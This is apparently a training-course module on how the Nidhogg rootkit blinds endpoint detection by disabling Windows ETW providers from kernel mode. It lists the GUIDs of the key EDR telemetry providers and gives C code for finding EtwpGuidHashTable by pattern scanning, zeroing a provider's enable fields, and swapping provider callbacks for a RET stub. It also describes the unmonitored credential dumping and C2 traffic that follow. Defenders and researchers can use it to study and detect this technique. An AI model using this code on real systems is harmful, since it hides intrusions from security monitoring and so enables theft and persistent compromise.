Module 5: ETW Provider Disabling
Blinding EDR telemetry by manipulating ETW provider internals from kernel mode.
Module Objective
Understand the Event Tracing for Windows (ETW) architecture, how EDR products depend on ETW providers for telemetry, the kernel data structures behind ETW (GuidEntry, provider registration tables), and how Nidhogg disables specific ETW providers to blind security monitoring.
1. ETW Architecture Overview
Event Tracing for Windows (ETW) is the primary telemetry framework built into the Windows kernel. It consists of three components:
ETW Architecture
Emit events
(kernel + user)
Buffer & route
events
Read events
(EDR, ETL files)
| Component | Role | Examples |
|---|---|---|
| Provider | Generates events when specific activities occur | Microsoft-Windows-Kernel-Process, Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-DotNETRuntime |
| Session (Controller) | Creates trace sessions, enables providers, manages buffers | NT Kernel Logger, Circular Kernel Context Logger, EDR private sessions |
| Consumer | Reads events from sessions in real-time or from ETL files | EDR agent, Event Viewer, PerfMon, xperf |
Each provider is identified by a GUID. When a provider is enabled in a trace session, events flow from the provider through kernel buffers to the consumer. If the provider is disabled or its registration is corrupted, no events are generated — the consumer receives nothing.
2. Critical ETW Providers for EDR
EDR products rely heavily on specific ETW providers for visibility into system activity. Disabling these providers blinds the EDR to specific categories of events:
| Provider | GUID | What It Reports |
|---|---|---|
| Microsoft-Windows-Threat-Intelligence | {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} | Memory allocation, process injection, credential access — the most critical EDR provider |
| Microsoft-Windows-Kernel-Process | {22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716} | Process creation, termination, thread start/stop |
| Microsoft-Windows-Kernel-File | {EDD08927-9CC4-4E65-B970-C2560FB5C289} | File create, read, write, delete operations |
| Microsoft-Windows-Kernel-Registry | {70EB4F03-C1DE-4F73-A051-33D13D5413BD} | Registry key/value operations |
| Microsoft-Windows-Kernel-Network | {7DD42A49-5329-4832-8DFD-43D979153A88} | TCP/UDP connection events |
The Threat Intelligence Provider
The Microsoft-Windows-Threat-Intelligence provider is special: it is a secure ETW provider that requires Protected Process Light (PPL) or Early Launch Antimalware (ELAM) status to consume. This means user-mode patching of ntdll!EtwEventWrite does not affect it. Only kernel-level manipulation can disable this provider.
3. ETW Kernel Internals
Inside the kernel, ETW providers are tracked through a series of undocumented structures. The key structures are:
C// Simplified ETW kernel structures (undocumented, reverse-engineered)
// ETW_GUID_ENTRY - represents a registered provider GUID
typedef struct _ETW_GUID_ENTRY {
LIST_ENTRY GuidList; // Links all GUIDs in same hash bucket
LONG RefCount; // Reference count
GUID Guid; // The provider GUID
LIST_ENTRY RegListHead; // Head of registration list
ULONG ProviderEnableInfo; // Enable flags
// ... additional fields
USHORT EnableCount; // Number of sessions enabling this provider
ULONG IsEnabled; // Whether provider is currently enabled
// ...
} ETW_GUID_ENTRY, *PETW_GUID_ENTRY;
// ETW_REG_ENTRY - represents a specific provider registration
typedef struct _ETW_REG_ENTRY {
LIST_ENTRY RegList; // Links to ETW_GUID_ENTRY.RegListHead
PETW_GUID_ENTRY GuidEntry; // Back-pointer to the GUID entry
// ... callback pointers, session info
} ETW_REG_ENTRY, *PETW_REG_ENTRY;
// Providers are stored in a hash table indexed by GUID
// Each bucket is a linked list of ETW_GUID_ENTRY structures
The GuidEntry Table
The kernel maintains a global hash table of ETW_GUID_ENTRY structures, accessible from the EtwpGuidHashTable global variable in ntoskrnl.exe. Each entry in the hash table is the head of a linked list of providers sharing the same hash bucket. To find a specific provider, the kernel hashes the GUID and walks the corresponding bucket.
4. Nidhogg's Provider Disabling Approach
Nidhogg disables ETW providers by manipulating the ETW_GUID_ENTRY structure for the target provider. The approach involves finding the GuidEntry and modifying its enable state:
CNTSTATUS DisableEtwProvider(GUID* targetGuid) {
// 1. Locate EtwpGuidHashTable in ntoskrnl
// This requires pattern scanning ntoskrnl's .data section
PVOID guidHashTable = FindEtwpGuidHashTable();
if (!guidHashTable) return STATUS_NOT_FOUND;
// 2. Hash the target GUID to find the correct bucket
ULONG bucketIndex = HashGuid(targetGuid) % ETW_GUID_HASH_BUCKETS;
PLIST_ENTRY bucketHead = &((PLIST_ENTRY)guidHashTable)[bucketIndex];
// 3. Walk the bucket's linked list to find our target GUID
for (PLIST_ENTRY entry = bucketHead->Flink;
entry != bucketHead;
entry = entry->Flink)
{
PETW_GUID_ENTRY guidEntry = CONTAINING_RECORD(
entry, ETW_GUID_ENTRY, GuidList
);
if (IsEqualGUID(&guidEntry->Guid, targetGuid)) {
// 4. Disable the provider
guidEntry->IsEnabled = 0;
guidEntry->EnableCount = 0;
// 5. Clear the ProviderEnableInfo flags
guidEntry->ProviderEnableInfo = 0;
return STATUS_SUCCESS;
}
}
return STATUS_NOT_FOUND; // Provider GUID not registered
}
5. Finding EtwpGuidHashTable
The global hash table is not exported by ntoskrnl, so Nidhogg must find it through pattern scanning. A common approach is to locate a known function that references the table:
CPVOID FindEtwpGuidHashTable() {
// Strategy: Find EtwpGetGuidEntry function in ntoskrnl
// This function references EtwpGuidHashTable directly
// 1. Get ntoskrnl base address
PVOID ntoskrnlBase = GetNtoskrnlBase();
if (!ntoskrnlBase) return NULL;
// 2. Locate EtwpGetGuidEntry by scanning for its signature
// The function has a characteristic pattern involving:
// - GUID hashing
// - Array index calculation
// - LEA instruction referencing the hash table
PUCHAR funcAddr = ScanForPattern(
ntoskrnlBase,
GetNtoskrnlSize(),
// Pattern for the LEA instruction that loads the table address
"\x48\x8D\x0D", // LEA RCX, [rip+offset]
"xxx",
// ... additional context bytes for uniqueness
);
if (!funcAddr) return NULL;
// 3. Extract the RIP-relative offset from the LEA instruction
LONG ripOffset = *(PLONG)(funcAddr + 3);
PVOID hashTable = funcAddr + 7 + ripOffset; // 7 = instruction length
return hashTable;
}
Fragility of Pattern Scanning
Pattern scanning ntoskrnl is inherently fragile. Microsoft can change function prologues, compiler optimizations, or instruction ordering between builds. Nidhogg must maintain patterns for each supported Windows version, or use more robust techniques like disassembling known exported functions that eventually call the target internal function.
6. Alternative: Patching Provider Callbacks
Another approach to disabling ETW providers is to patch the provider's callback function pointer. Each registration has a callback that is invoked when events should be generated:
C// Instead of modifying IsEnabled, patch the callback to a no-op RET
NTSTATUS PatchProviderCallback(PETW_REG_ENTRY regEntry) {
// The callback pointer in the registration entry
PVOID originalCallback = regEntry->Callback;
// Replace with a pointer to a simple RET instruction
// (must be in non-paged, executable memory)
static UCHAR retStub[] = { 0xC3 }; // RET
// Allocate executable kernel memory for the stub
PVOID stubMem = ExAllocatePool2(
POOL_FLAG_NON_PAGED_EXECUTE,
sizeof(retStub),
'ediN'
);
RtlCopyMemory(stubMem, retStub, sizeof(retStub));
// Replace the callback pointer
InterlockedExchangePointer(®Entry->Callback, stubMem);
return STATUS_SUCCESS;
}
This approach is more targeted: it affects only the specific registration instance rather than the entire GUID entry, allowing finer-grained control over which sessions receive (or do not receive) events.
7. User-Mode ETW Patching vs Kernel-Mode
Comparing Nidhogg's kernel-level approach with traditional user-mode ETW blinding:
| Aspect | User-Mode Patching | Kernel-Mode (Nidhogg) |
|---|---|---|
| Target | Patch ntdll!EtwEventWrite in own process | Modify ETW_GUID_ENTRY in kernel memory |
| Scope | Only affects the patched process | System-wide: all processes stop generating events for the disabled provider |
| Secure providers | Cannot disable (TI provider requires PPL) | Can disable any provider including Threat Intelligence |
| Detection | Integrity checks on ntdll detect the patch | No user-mode artifact; only kernel memory forensics reveal it |
| Persistence | Lost on process restart | Persistent as long as driver is loaded |
| Risk | Low — worst case is process crash | BSOD if kernel structures are corrupted |
8. Impact on EDR Products
When Nidhogg disables critical ETW providers, the impact on EDR is severe:
Telemetry Gaps Created
- Threat Intelligence disabled: EDR loses visibility into memory allocations, process hollowing, shellcode injection, and credential dumping
- Kernel-Process disabled: No process creation/termination events — new processes appear unannounced
- Kernel-File disabled: File operations become invisible — tools can drop files without generating events
- Kernel-Network disabled: Network connections are not reported — C2 traffic flows unmonitored
The EDR consumer (the user-mode agent) simply receives no events from the disabled providers. From the agent's perspective, nothing is happening on the system. There is typically no error or notification that the provider was disabled — the event stream just goes silent.
9. Re-enabling Providers
Nidhogg should support re-enabling providers (during driver unload or via IOCTL). The restoration process reverses the GuidEntry modifications:
C// Structure to save original provider state for restoration
typedef struct _SAVED_PROVIDER_STATE {
GUID ProviderGuid;
ULONG OriginalIsEnabled;
USHORT OriginalEnableCount;
ULONG OriginalProviderEnableInfo;
} SAVED_PROVIDER_STATE;
#define MAX_DISABLED_PROVIDERS 16
SAVED_PROVIDER_STATE g_DisabledProviders[MAX_DISABLED_PROVIDERS];
ULONG g_DisabledCount = 0;
NTSTATUS RestoreEtwProvider(GUID* targetGuid) {
// Find the saved state
for (ULONG i = 0; i < g_DisabledCount; i++) {
if (IsEqualGUID(&g_DisabledProviders[i].ProviderGuid, targetGuid)) {
// Find the GuidEntry again and restore original values
PETW_GUID_ENTRY entry = FindGuidEntry(targetGuid);
if (entry) {
entry->IsEnabled = g_DisabledProviders[i].OriginalIsEnabled;
entry->EnableCount = g_DisabledProviders[i].OriginalEnableCount;
entry->ProviderEnableInfo =
g_DisabledProviders[i].OriginalProviderEnableInfo;
return STATUS_SUCCESS;
}
}
}
return STATUS_NOT_FOUND;
}
Knowledge Check
Q1: Why can't user-mode ETW patching disable the Threat Intelligence provider?
Q2: What kernel structure does Nidhogg modify to disable an ETW provider?
Q3: What happens to an EDR consumer when the ETW provider it relies on is disabled?